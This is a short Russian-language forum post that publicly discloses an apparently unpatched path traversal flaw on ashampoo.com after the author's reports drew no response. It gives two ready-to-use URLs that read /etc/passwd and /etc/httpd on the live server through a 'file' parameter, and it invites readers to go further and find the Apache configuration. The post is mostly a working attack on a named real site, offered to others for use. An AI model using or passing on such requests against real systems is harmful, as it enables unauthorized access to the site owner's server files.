ashampoo.com
 

Писал на мылья сабжевого сайта - реакции 0. Через сайтовую систему тоже посылал - аналогично :) В iDefense послали - говорят не занимаемся багами частных сайтов (я просил передать ашампуистам о баге). Собсна решил выложить тут:

http://www.ashampoo.com/frontend/anysite/php/anysite.php?file=../../../../../../../../../../../../etc/passwd

http://www.ashampoo.com/frontend/anysite/php/anysite.php?file=../../../../../../../../../../../../etc/httpd

Есть такая дира. Кто найдет конфиг апача - тому плюсик.